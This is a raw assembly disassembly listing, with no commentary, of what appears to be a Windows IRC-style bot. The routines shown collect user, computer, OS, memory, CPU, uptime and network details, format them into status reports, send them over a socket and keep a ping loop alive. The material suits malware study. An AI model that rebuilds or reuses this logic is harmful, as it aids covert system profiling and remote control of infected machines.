loc_41BBC1: ; CODE XREF: sub_41BB89+1Aj xor edx, edx mov ecx, 15180h div ecx push ebx push edi mov edi, 0E10h push 3Ch pop ebx mov ecx, eax mov eax, edx xor edx, edx div edi mov edi, eax mov eax, edx xor edx, edx div ebx cmp ecx, 1 mov edx, offset byte_454A54 jz short loc_41BBF3 mov edx, offset aS_2 ; "s" loc_41BBF3: ; CODE XREF: sub_41BB89+63j push eax push edi push edx push ecx push offset aDDayS0_2d0_2d ; "%d day%s %0.2d:%0.2d" push esi call sub_429B03 add esp, 18h pop edi pop ebx loc_41BC07: ; CODE XREF: sub_41BB89+36j mov eax, esi pop esi retn sub_41BB89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BC0B proc near ; CODE XREF: sub_40A9FE+1AE7p ; sub_41BD1E:loc_41BD2Dp var_30 = qword ptr -30h var_1C = qword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi lea eax, [ebp+var_14] push edi xor esi, esi push eax mov [ebp+var_4], esi call dword_4370D0 ; QueryPerformanceCounter lea eax, [ebp+var_C] push eax call dword_43718C ; QueryPerformanceFrequency cmp [ebp+var_10], esi jl short loc_41BC72 jg short loc_41BC39 cmp [ebp+var_14], esi jbe short loc_41BC72 loc_41BC39: ; CODE XREF: sub_41BC0B+27j cmp [ebp+var_8], esi jl short loc_41BC72 jg short loc_41BC45 cmp [ebp+var_C], esi jbe short loc_41BC72 loc_41BC45: ; CODE XREF: sub_41BC0B+33j push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] push [ebp+var_14] call sub_42B2F0 mov dword ptr [ebp+var_1C], eax mov dword ptr [ebp+var_1C+4], edx fild [ebp+var_1C] push ecx push ecx ; double fstp [esp+30h+var_30] call sub_42A706 pop ecx pop ecx call sub_42A9E0 jmp short loc_41BC81 ; --------------------------------------------------------------------------- loc_41BC72: ; CODE XREF: sub_41BC0B+25j ; sub_41BC0B+2Cj ... call dword_437188 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx loc_41BC81: ; CODE XREF: sub_41BC0B+65j cmp dword_457FD8, esi mov ebx, eax jnz short loc_41BCCC lea eax, [ebp+var_4] mov edi, offset byte_445423 push eax mov esi, offset dword_445324 push edi push esi push dword_445320 call sub_4212CA add esp, 10h cmp [ebp+var_4], 0 jz short loc_41BCB3 cmp ebx, eax jbe short loc_41BCC8 loc_41BCB3: ; CODE XREF: sub_41BC0B+A2j push ebx push edi push esi push dword_445320 call sub_4213E8 add esp, 10h test eax, eax jnz short loc_41BCE5 loc_41BCC8: ; CODE XREF: sub_41BC0B+A6j xor eax, eax jmp short loc_41BCE8 ; --------------------------------------------------------------------------- loc_41BCCC: ; CODE XREF: sub_41BC0B+7Ej push ebx push offset byte_445423 push offset dword_445324 push dword_445320 call sub_4213E8 add esp, 10h loc_41BCE5: ; CODE XREF: sub_41BC0B+BBj xor eax, eax inc eax loc_41BCE8: ; CODE XREF: sub_41BC0B+BFj pop edi pop esi pop ebx leave retn sub_41BC0B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BCED proc near ; CODE XREF: sub_40A9FE+8A2Cp ; sub_41BB89+13p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push offset byte_445423 push offset dword_445324 push dword_445320 call sub_4212CA mov ecx, eax mov eax, [ebp+var_4] add esp, 10h neg eax sbb eax, eax and eax, ecx leave retn sub_41BCED endp ; =============== S U B R O U T I N E ======================================= sub_41BD1E proc near ; DATA XREF: sub_418FA1+199o xor eax, eax cmp dword_457034, eax mov dword_457FD8, eax jnz short loc_41BD44 loc_41BD2D: ; CODE XREF: sub_41BD1E+24j call sub_41BC0B push 0C3500h mov dword_457FD8, eax call dword_437190 ; Sleep jmp short loc_41BD2D ; --------------------------------------------------------------------------- loc_41BD44: ; CODE XREF: sub_41BD1E+Dj push eax call dword_437174 ; ExitThread sub_41BD1E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41BD4B proc near ; CODE XREF: sub_41BE01+34Ep push ebx push esi push edi mov edi, 0F4240h loc_41BD53: ; CODE XREF: sub_41BD4B+2Fj ; sub_41BD4B+35j rdtsc push 3E8h mov ebx, edx mov esi, eax call dword_437190 ; Sleep rdtsc sub eax, esi push 0 sbb edx, ebx push edi push edx push eax call sub_42BE50 mov esi, edx mov ebx, eax test esi, esi ja short loc_41BD53 jb short loc_41BD82 cmp ebx, edi ja short loc_41BD53 loc_41BD82: ; CODE XREF: sub_41BD4B+31j push 0 push 64h push esi push ebx call sub_42BDD0 mov ecx, edx push 64h xor edx, edx mov edi, eax test ecx, ecx pop eax ja short loc_41BDF5 jb short loc_41BDA1 cmp edi, 50h jnb short loc_41BDA6 loc_41BDA1: ; CODE XREF: sub_41BD4B+4Fj push 4Bh xor edx, edx pop eax loc_41BDA6: ; CODE XREF: sub_41BD4B+54j test ecx, ecx ja short loc_41BDF5 jb short loc_41BDB1 cmp edi, 47h jnb short loc_41BDB6 loc_41BDB1: ; CODE XREF: sub_41BD4B+5Fj push 42h xor edx, edx pop eax loc_41BDB6: ; CODE XREF: sub_41BD4B+64j test ecx, ecx ja short loc_41BDF5 jb short loc_41BDC1 cmp edi, 37h jnb short loc_41BDC6 loc_41BDC1: ; CODE XREF: sub_41BD4B+6Fj push 32h xor edx, edx pop eax loc_41BDC6: ; CODE XREF: sub_41BD4B+74j test ecx, ecx ja short loc_41BDF5 jb short loc_41BDD1 cmp edi, 26h jnb short loc_41BDD6 loc_41BDD1: ; CODE XREF: sub_41BD4B+7Fj push 21h xor edx, edx pop eax loc_41BDD6: ; CODE XREF: sub_41BD4B+84j test ecx, ecx ja short loc_41BDF5 jb short loc_41BDE1 cmp edi, 1Eh jnb short loc_41BDE6 loc_41BDE1: ; CODE XREF: sub_41BD4B+8Fj push 19h xor edx, edx pop eax loc_41BDE6: ; CODE XREF: sub_41BD4B+94j test ecx, ecx ja short loc_41BDF5 jb short loc_41BDF1 cmp edi, 0Ah jnb short loc_41BDF5 loc_41BDF1: ; CODE XREF: sub_41BD4B+9Fj xor eax, eax xor edx, edx loc_41BDF5: ; CODE XREF: sub_41BD4B+4Dj ; sub_41BD4B+5Dj ... sub eax, edi pop edi sbb edx, ecx add eax, ebx adc edx, esi pop esi pop ebx retn sub_41BD4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE01 proc near ; CODE XREF: sub_40A9FE+295Cp var_2CC8 = byte ptr -2CC8h var_5B8 = byte ptr -5B8h var_4B8 = byte ptr -4B8h var_3B4 = byte ptr -3B4h var_2B4 = byte ptr -2B4h var_228 = byte ptr -228h var_1E0 = byte ptr -1E0h var_198 = byte ptr -198h var_164 = byte ptr -164h var_130 = byte ptr -130h var_118 = dword ptr -118h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_D8 = dword ptr -0D8h var_D4 = dword ptr -0D4h var_D0 = dword ptr -0D0h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = byte ptr -0C4h var_3E = byte ptr -3Eh var_3C = byte ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 2CC8h call sub_429B60 push ebx push esi lea eax, [ebp+var_D8] push edi mov esi, offset a??? ; "???" push eax mov [ebp+var_4], esi mov [ebp+var_D8], 9Ch call dword_437050 ; GetVersionExA push [ebp+var_D0] push [ebp+var_D4] push offset aD_D ; "%d.%d" push 4 push esi call sub_429BBE add esp, 14h xor ebx, ebx cmp [ebp+var_D4], 4 jnz short loc_41BEB3 cmp [ebp+var_D0], ebx jnz short loc_41BE88 cmp [ebp+var_C8], 1 jnz short loc_41BE6F mov [ebp+var_4], offset a95 ; "95" loc_41BE6F: ; CODE XREF: sub_41BE01+65j cmp [ebp+var_C8], 2 jnz loc_41BF62 mov [ebp+var_4], offset aNt_0 ; "NT" jmp loc_41BF33 ; --------------------------------------------------------------------------- loc_41BE88: ; CODE XREF: sub_41BE01+5Cj cmp [ebp+var_D0], 0Ah jnz short loc_41BE9D mov [ebp+var_4], offset a98 ; "98" jmp loc_41BF2A ; --------------------------------------------------------------------------- loc_41BE9D: ; CODE XREF: sub_41BE01+8Ej cmp [ebp+var_D0], 5Ah jnz loc_41BF2A mov [ebp+var_4], offset aMe_0 ; "ME" jmp short loc_41BF2A ; --------------------------------------------------------------------------- loc_41BEB3: ; CODE XREF: sub_41BE01+54j cmp [ebp+var_D4], 5 jnz short loc_41BEF1 cmp [ebp+var_D0], ebx jnz short loc_41BECD mov [ebp+var_4], offset a2k ; "2K" jmp short loc_41BF2A ; --------------------------------------------------------------------------- loc_41BECD: ; CODE XREF: sub_41BE01+C1j cmp [ebp+var_D0], 1 jnz short loc_41BEDF mov [ebp+var_4], offset aXp ; "XP" jmp short loc_41BF2A ; --------------------------------------------------------------------------- loc_41BEDF: ; CODE XREF: sub_41BE01+D3j cmp [ebp+var_D0], 2 jnz short loc_41BF2A mov [ebp+var_4], offset a2k3_0 ; "2K3" jmp short loc_41BF2A ; --------------------------------------------------------------------------- loc_41BEF1: ; CODE XREF: sub_41BE01+B9j cmp [ebp+var_D4], 6 jnz short loc_41BF2A cmp [ebp+var_D0], ebx jnz short loc_41BF1A cmp [ebp+var_3E], 1 jnz short loc_41BF11 mov [ebp+var_4], offset aVista_0 ; "Vista" jmp short loc_41BF2A ; --------------------------------------------------------------------------- loc_41BF11: ; CODE XREF: sub_41BE01+105j mov [ebp+var_4], offset a2k8 ; "2K8" jmp short loc_41BF2A ; --------------------------------------------------------------------------- loc_41BF1A: ; CODE XREF: sub_41BE01+FFj cmp [ebp+var_D0], 1 jnz short loc_41BF2A mov [ebp+var_4], offset a7 ; "7" loc_41BF2A: ; CODE XREF: sub_41BE01+97j ; sub_41BE01+A3j ... cmp [ebp+var_C8], 2 jnz short loc_41BF62 loc_41BF33: ; CODE XREF: sub_41BE01+82j cmp [ebp+var_C4], bl jz short loc_41BF62 lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2B4] push [ebp+var_4] push offset aSS_3 ; "%s (%s)" push eax call sub_429B03 lea eax, [ebp+var_2B4] add esp, 10h mov [ebp+var_4], eax loc_41BF62: ; CODE XREF: sub_41BE01+75j ; sub_41BE01+130j ... mov eax, 100h mov [ebp+var_20], eax mov [ebp+var_1C], eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_3B4] push eax call dword_456DCC ; GetUserNameA lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_5B8] push eax call dword_456F90 ; GetComputerNameA lea eax, [ebp+var_4B8] push 104h push eax call dword_4370F4 ; GetSystemDirectoryA lea eax, [ebp+var_228] push 46h push eax push offset aDddMmmDdYyyy ; "ddd, MMM dd, yyyy" push ebx mov esi, 409h push ebx push esi call dword_4370F0 ; GetDateFormatA lea eax, [ebp+var_1E0] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call dword_4370EC ; GetTimeFormatA push 40h lea eax, [ebp+var_118] pop esi push esi push ebx push eax call sub_429760 add esp, 0Ch lea eax, [ebp+var_118] mov [ebp+var_118], esi push eax call dword_4370E8 ; GlobalMemoryStatusEx mov eax, [ebp+var_110] mov ecx, [ebp+var_10C] shrd eax, ecx, 14h shr ecx, 14h push ecx mov esi, offset aD_0 ; "%d" push eax push esi lea eax, [ebp+var_198] push 32h push eax call sub_429BBE mov eax, [ebp+var_108] mov ecx, [ebp+var_104] shrd eax, ecx, 14h shr ecx, 14h push ecx push eax push esi lea eax, [ebp+var_164] push 32h push eax call sub_429BBE mov esi, dword_437098 add esp, 28h mov [ebp+var_18], ebx mov [ebp+var_14], ebx push ebx push ebx mov [ebp+var_10], ebx mov [ebp+var_C], ebx call esi ; dword_437098 add eax, 2 mov [ebp+var_8], eax push eax call sub_4297B8 pop ecx mov edi, eax push edi mov [ebp+var_24], edi push [ebp+var_8] call esi ; dword_437098 cmp [edi], bl mov [ebp+var_8], edi jz short loc_41C0E3 loc_41C080: ; CODE XREF: sub_41BE01+2E0j push offset off_447400 push [ebp+var_8] call dword_437178 ; lstrcmpiA test eax, eax jz short loc_41C0CE push 40000000h lea eax, [ebp+var_130] push [ebp+var_8] push eax call sub_41B952 add esp, 0Ch mov esi, eax lea edi, [ebp+var_3C] push 6 pop ecx rep movsd mov eax, [ebp+var_34] mov edi, [ebp+var_24] add [ebp+var_18], eax mov eax, [ebp+var_30] adc [ebp+var_14], eax mov eax, [ebp+var_2C] add [ebp+var_10], eax mov eax, [ebp+var_28] adc [ebp+var_C], eax loc_41C0CE: ; CODE XREF: sub_41BE01+28Fj mov esi, [ebp+var_8] push esi call sub_4293A0 lea eax, [esi+eax+1] pop ecx mov [ebp+var_8], eax cmp [eax], bl jnz short loc_41C080 loc_41C0E3: ; CODE XREF: sub_41BE01+27Dj push edi call sub_4298F2 pop ecx push [ebp+var_C] push [ebp+var_10] push [ebp+var_14] push [ebp+var_18] push 1 push ebx call dword_437188 ; GetTickCount push eax call sub_41B9F8 add esp, 0Ch push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_228] push eax lea eax, [ebp+var_3B4] push eax lea eax, [ebp+var_5B8] push eax lea eax, [ebp+var_4B8] push eax lea eax, [ebp+var_164] push [ebp+var_CC] push [ebp+var_D0] push [ebp+var_D4] push [ebp+var_4] push eax lea eax, [ebp+var_198] push eax call sub_41BD4B push edx push eax push offset aWj27_1belx20 ; "wj27.1Belx20" push offset aSCpuI64umhzRam ; "%s (CPU): %I64uMHz, (RAM): %sMB total, "... lea eax, [ebp+var_2CC8] push 2710h push eax call sub_429BBE add esp, 58h cmp [ebp+arg_8], ebx lea eax, [ebp+var_2CC8] pop edi pop esi pop ebx push eax push [ebp+arg_0] push [ebp+arg_4] jnz short loc_41C190 call sub_41CE4A jmp short loc_41C195 ; --------------------------------------------------------------------------- loc_41C190: ; CODE XREF: sub_41BE01+386j call sub_41CDD4 loc_41C195: ; CODE XREF: sub_41BE01+38Dj add esp, 0Ch leave retn sub_41BE01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C19A proc near ; CODE XREF: sub_41C238+A6p ; sub_41C238+AEp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi lea eax, [ebp+var_4] xor ebx, ebx push 1 push eax push ebx mov [ebp+var_4], ebx call dword_456EFC ; GetIfTable cmp eax, 7Ah jnz short loc_41C1E5 push [ebp+var_4] call sub_4297B8 mov esi, eax pop ecx cmp esi, ebx jz short loc_41C1E5 push [ebp+var_4] push ebx push esi call sub_429760 add esp, 0Ch lea eax, [ebp+var_4] push 1 push eax push esi call dword_456EFC ; GetIfTable test eax, eax jz short loc_41C1E9 loc_41C1E5: ; CODE XREF: sub_41C19A+1Cj ; sub_41C19A+2Bj xor eax, eax jmp short loc_41C223 ; --------------------------------------------------------------------------- loc_41C1E9: ; CODE XREF: sub_41C19A+49j push edi mov edi, [esi] cmp edi, ebx mov [ebp+var_8], ebx jbe short loc_41C217 lea eax, [esi+230h] loc_41C1F9: ; CODE XREF: sub_41C19A+7Bj mov edx, [eax] cmp edx, ebx jbe short loc_41C20A mov ecx, [eax+18h] cmp ecx, ebx jbe short loc_41C20A cmp edx, ecx jnz short loc_41C227 loc_41C20A: ; CODE XREF: sub_41C19A+63j ; sub_41C19A+6Aj inc [ebp+var_8] add eax, 35Ch cmp [ebp+var_8], edi jb short loc_41C1F9 loc_41C217: ; CODE XREF: sub_41C19A+57j xor edi, edi loc_41C219: ; CODE XREF: sub_41C19A+9Cj push esi call sub_4298F2 pop ecx mov eax, edi pop edi loc_41C223: ; CODE XREF: sub_41C19A+4Dj pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41C227: ; CODE XREF: sub_41C19A+6Ej cmp [ebp+arg_0], ebx jz short loc_41C231 mov eax, [eax-4] jmp short loc_41C234 ; --------------------------------------------------------------------------- loc_41C231: ; CODE XREF: sub_41C19A+90j mov eax, [eax+14h] loc_41C234: ; CODE XREF: sub_41C19A+95j mov edi, eax jmp short loc_41C219 sub_41C19A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C238 proc near ; CODE XREF: sub_40A9FE+2A04p var_4F14 = byte ptr -4F14h var_2804 = byte ptr -2804h var_F4 = byte ptr -0F4h var_74 = byte ptr -74h var_40 = byte ptr -40h var_C = byte ptr -0Ch var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, 4F14h call sub_429B60 push ebx push esi mov esi, 80h xor ebx, ebx push esi lea eax, [ebp+var_F4] push ebx push eax call sub_429760 add esp, 0Ch cmp dword_457050, ebx jnz short loc_41C2B0 push ebx lea eax, [ebp+var_F4] push esi push eax lea eax, [ebp+var_4] push eax call dword_456DB4 ; InternetGetConnectedStateExA test eax, eax jnz short loc_41C291 lea eax, [ebp+var_F4] push offset dword_447640 push eax call sub_429B03 pop ecx pop ecx loc_41C291: ; CODE XREF: sub_41C238+44j test [ebp+var_4], 1 lea eax, [ebp+var_C] jz short loc_41C2A9 push offset dword_447634 loc_41C29F: ; CODE XREF: sub_41C238+76j push eax call sub_429B03 pop ecx pop ecx jmp short loc_41C2CF ; --------------------------------------------------------------------------- loc_41C2A9: ; CODE XREF: sub_41C238+60j push offset off_447630 jmp short loc_41C29F ; --------------------------------------------------------------------------- loc_41C2B0: ; CODE XREF: sub_41C238+2Dj mov esi, offset off_44762C lea eax, [ebp+var_C] push esi push eax call sub_429B03 lea eax, [ebp+var_F4] push esi push eax call sub_429B03 add esp, 10h loc_41C2CF: ; CODE XREF: sub_41C238+6Fj push edi xor esi, esi xor edi, edi cmp dword_457070, ebx jnz short loc_41C2EF push 1 call sub_41C19A push ebx mov esi, eax call sub_41C19A pop ecx mov edi, eax pop ecx loc_41C2EF: ; CODE XREF: sub_41C238+A2j cmp [ebp+arg_C], ebx push ebx jz short loc_41C313 shr esi, 14h push esi call sub_427E4F push eax mov esi, offset aSmb ; "%sMB" lea eax, [ebp+var_40] push esi push eax call sub_429B03 shr edi, 14h jmp short loc_41C352 ; --------------------------------------------------------------------------- loc_41C313: ; CODE XREF: sub_41C238+BBj cmp [ebp+arg_10], ebx jz short loc_41C336 shr esi, 1Eh push esi call sub_427E4F push eax mov esi, offset aSgb ; "%sGB" lea eax, [ebp+var_40] push esi push eax call sub_429B03 shr edi, 1Eh jmp short loc_41C352 ; --------------------------------------------------------------------------- loc_41C336: ; CODE XREF: sub_41C238+DEj shr esi, 0Ah push esi call sub_427E4F push eax mov esi, offset aSkb ; "%sKB" lea eax, [ebp+var_40] push esi push eax call sub_429B03 shr edi, 0Ah loc_41C352: ; CODE XREF: sub_41C238+D9j ; sub_41C238+FCj push ebx push edi call sub_427E4F push eax lea eax, [ebp+var_74] push esi push eax call sub_429B03 add esp, 28h mov esi, offset dword_457CF8 push esi call sub_41E4C1 pop ecx pop edi test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_41C382 mov eax, offset aNo ; "No" loc_41C382: ; CODE XREF: sub_41C238+143j push eax push offset dword_457C58 push offset dword_457C40 lea eax, [ebp+var_F4] push esi push eax lea eax, [ebp+var_C] mov esi, 2710h push eax push offset aHm1h_049e4o ; "Hm1H.049e4O/" push offset aSConnectionSSI ; "%s (Connection): %s (%s), (IntIP): %s, "... lea eax, [ebp+var_2804] push esi push eax call sub_429BBE lea eax, [ebp+var_74] push eax lea eax, [ebp+var_40] push eax lea eax, [ebp+var_4F14] push offset aBandwidthDownl ; "(Bandwidth): Downloaded: %s, Uploaded: "... push eax call sub_429B03 lea eax, [ebp+var_4F14] push esi push eax lea eax, [ebp+var_2804] push eax call sub_4299E0 add esp, 44h cmp [ebp+arg_8], ebx lea eax, [ebp+var_2804] pop esi pop ebx push eax push [ebp+arg_0] push [ebp+arg_4] jnz short loc_41C400 call sub_41CE4A jmp short loc_41C405 ; --------------------------------------------------------------------------- loc_41C400: ; CODE XREF: sub_41C238+1BFj call sub_41CDD4 loc_41C405: ; CODE XREF: sub_41C238+1C6j add esp, 0Ch leave retn sub_41C238 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_418D70 loc_41C40A: ; CODE XREF: sub_418D70+5j push esi mov esi, ecx and dword ptr [esi+20h], 0 call sub_41C6C4 and byte ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 mov byte ptr [esi+5], 1 mov eax, esi pop esi retn ; END OF FUNCTION CHUNK FOR sub_418D70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_418D86 loc_41C42A: ; CODE XREF: sub_418D86+5j mov eax, [ecx+20h] test eax, eax jz short locret_41C437 push eax call sub_41C5D6 locret_41C437: ; CODE XREF: sub_418D86+36A9j retn ; END OF FUNCTION CHUNK FOR sub_418D86 ; --------------------------------------------------------------------------- loc_41C438: ; DATA XREF: sub_420CB6+1Co mov eax, [esp+4] sub esp, 0C4h push ebx push ebp push esi push edi push 31h mov esi, eax pop ecx lea edi, [esp+10h] rep movsd mov edi, dword_437188 mov dword ptr [eax+0BCh], 1 mov esi, 3E8h loc_41C466: ; CODE XREF: .text:0041C4A7j call edi ; dword_437188 xor edx, edx mov ecx, esi div ecx mov ecx, dword_4584AC xor edx, edx mov ebp, esi mov ebx, eax mov eax, ecx div ebp mov ebp, 0A28h sub ebx, eax cmp ebx, ebp ja short loc_41C4A9 mov ecx, [esp+10h] call sub_41DB58 mov ecx, [esp+10h] push eax call sub_41CF25 push 27AC40h call dword_437190 ; Sleep jmp short loc_41C466 ; --------------------------------------------------------------------------- loc_41C4A9: ; CODE XREF: .text:0041C487j mov eax, ecx xor edx, edx mov ecx, esi push ebp div ecx mov ebx, eax call edi ; dword_437188 xor edx, edx mov ecx, esi div ecx sub eax, ebx push eax push ebx call edi ; dword_437188 xor edx, edx div esi push eax push offset aPingTimeout?DD ; "Ping Timeout? (%d-%d)%d/%d" push dword ptr [esp+24h] call sub_41CAB4 add esp, 18h push 0 call dword_437174 ; ExitThread pop edi pop esi pop ebp pop ebx ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C4E4 proc near ; CODE XREF: sub_41C8B1+18Dp ; sub_41C8B1+1A1p ... var_2710 = byte ptr -2710h arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp mov eax, 2710h call sub_429B60 lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_2710] push [ebp+arg_8] push 2710h push eax call sub_42B8AA add esp, 10h lea eax, [ebp+var_2710] push 0 push eax call sub_4293A0 pop ecx push eax lea eax, [ebp+var_2710] push eax push [ebp+arg_4] call dword_456F8C ; send inc eax neg eax sbb eax, eax inc eax leave retn sub_41C4E4 endp ; =============== S U B R O U T I N E ======================================= sub_41C534 proc near ; CODE XREF: sub_41C58F+3Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi xor edi, edi jmp short loc_41C55F ; --------------------------------------------------------------------------- loc_41C53E: ; CODE XREF: sub_41C534+2Ej cmp [esi+8], edi jnz short loc_41C55C push 0Ch call sub_42B4D7 mov [esi+8], eax mov [eax+4], edi mov eax, [esi+8] pop ecx mov [eax], edi mov eax, [esi+8] mov [eax+8], edi loc_41C55C: ; CODE XREF: sub_41C534+Dj mov esi, [esi+8] loc_41C55F: ; CODE XREF: sub_41C534+8j cmp [esi+4], edi jnz short loc_41C53E mov eax, [esp+8+arg_8] push [esp+8+arg_4] mov [esi+4], eax call sub_4293A0 inc eax push eax call sub_42B4D7 pop ecx mov [esi], eax pop ecx push [esp+8+arg_4] push eax call dword_4370B4 ; lstrcpyA pop edi pop esi retn 0Ch sub_41C534 endp ; =============== S U B R O U T I N E ======================================= sub_41C58F proc near ; CODE XREF: sub_420D91+13p ; sub_420D91+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx mov eax, [esi+20h] test eax, eax jnz short loc_41C5C2 push 0Ch call sub_42B4D7 mov [esi+20h], eax and dword ptr [eax+4], 0 mov eax, [esi+20h] pop ecx push [esp+4+arg_4] and dword ptr [eax], 0 mov eax, [esi+20h] push [esp+8+arg_0] and dword ptr [eax+8], 0 push dword ptr [esi+20h] jmp short loc_41C5CB ; --------------------------------------------------------------------------- loc_41C5C2: ; CODE XREF: sub_41C58F+8j push [esp+4+arg_4] push [esp+8+arg_0] push eax loc_41C5CB: ; CODE XREF: sub_41C58F+31j mov ecx, esi call sub_41C534 pop esi retn 8 sub_41C58F endp ; =============== S U B R O U T I N E ======================================= sub_41C5D6 proc near ; CODE XREF: sub_418D86+36ACp ; sub_41C5D6+Dp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+8] test eax, eax jz short loc_41C5E8 push eax call sub_41C5D6 loc_41C5E8: ; CODE XREF: sub_41C5D6+Aj mov eax, [esi] test eax, eax jz short loc_41C5F5 push eax call sub_4290D0 pop ecx loc_41C5F5: ; CODE XREF: sub_41C5D6+16j push esi call sub_4290D0 pop ecx pop esi retn 4 sub_41C5D6 endp ; =============== S U B R O U T I N E ======================================= sub_41C600 proc near ; CODE XREF: sub_42045F+23Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx mov eax, offset dword_4584B0 loc_41C608: ; CODE XREF: sub_41C600+18j cmp byte ptr [eax], 0 jz short loc_41C621 add eax, 0BFh inc ebx cmp eax, offset byte_4586ED jl short loc_41C608 or eax, 0FFFFFFFFh loc_41C61D: ; CODE XREF: sub_41C600+5Cj pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_41C621: ; CODE XREF: sub_41C600+Bj push esi mov esi, ebx imul esi, 0BFh push edi mov edi, dword_4370B4 push [esp+0Ch+arg_0] lea eax, dword_4584B0[esi] push eax call edi ; dword_4370B4 push [esp+0Ch+arg_4] lea eax, dword_4584C0[esi] push eax call edi ; dword_4370B4 push [esp+0Ch+arg_8] lea eax, dword_4584D0[esi] push eax call edi ; dword_4370B4 pop edi mov eax, ebx pop esi jmp short loc_41C61D sub_41C600 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C65E proc near ; CODE XREF: sub_40A9FE+9B0p ; sub_41CBC1+C7p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi mov esi, dword_437178 push edi mov [ebp+var_4], ecx xor ebx, ebx mov edi, offset dword_4584B0 loc_41C675: ; CODE XREF: sub_41C65E+4Dj cmp byte ptr [edi], 0 jz short loc_41C69E push [ebp+arg_0] push edi call esi ; dword_437178 test eax, eax jnz short loc_41C69E push [ebp+arg_4] lea eax, [edi+10h] push eax call esi ; dword_437178 test eax, eax jnz short loc_41C69E push [ebp+arg_8] lea eax, [edi+20h] push eax call esi ; dword_437178 test eax, eax jz short loc_41C6B7 loc_41C69E: ; CODE XREF: sub_41C65E+1Aj ; sub_41C65E+24j ... add edi, 0BFh inc ebx cmp edi, offset byte_4586ED jl short loc_41C675 or eax, 0FFFFFFFFh loc_41C6B0: ; CODE XREF: sub_41C65E+64j pop edi pop esi pop ebx leave retn 0Ch ; --------------------------------------------------------------------------- loc_41C6B7: ; CODE XREF: sub_41C65E+3Ej mov ecx, [ebp+var_4] push ebx call sub_41C704 mov eax, ebx jmp short loc_41C6B0 sub_41C65E endp ; =============== S U B R O U T I N E ======================================= sub_41C6C4 proc near ; CODE XREF: sub_418D70+36A1p ; sub_41C8B1+B8p push esi mov esi, offset dword_4584C0 loc_41C6CA: ; CODE XREF: sub_41C6C4+3Cj push 10h lea eax, [esi-10h] push 0 push eax call sub_429760 push 10h push 0 push esi call sub_429760 push 9Fh lea eax, [esi+10h] push 0 push eax call sub_429760 add esi, 0BFh add esp, 24h cmp esi, (offset dword_4586FC+1) jl short loc_41C6CA pop esi retn sub_41C6C4 endp ; =============== S U B R O U T I N E ======================================= sub_41C704 proc near ; CODE XREF: sub_40A9FE+8C5p ; sub_41C65E+5Dp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] imul esi, 0BFh lea eax, dword_4584B0[esi] cmp byte ptr [eax], 0 jz short loc_41C74F push 10h push 0 push eax call sub_429760 push 10h lea eax, dword_4584C0[esi] push 0 push eax call sub_429760 push 9Fh lea eax, dword_4584D0[esi] push 0 push eax call sub_429760 xor eax, eax add esp, 24h inc eax jmp short loc_41C751 ; --------------------------------------------------------------------------- loc_41C74F: ; CODE XREF: sub_41C704+14j xor eax, eax loc_41C751: ; CODE XREF: sub_41C704+49j pop esi retn 4 sub_41C704 endp ; =============== S U B R O U T I N E ======================================= sub_41C755 proc near ; CODE XREF: sub_41CBC1+AEp ; sub_42045F+C7p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, dword_437178 push edi 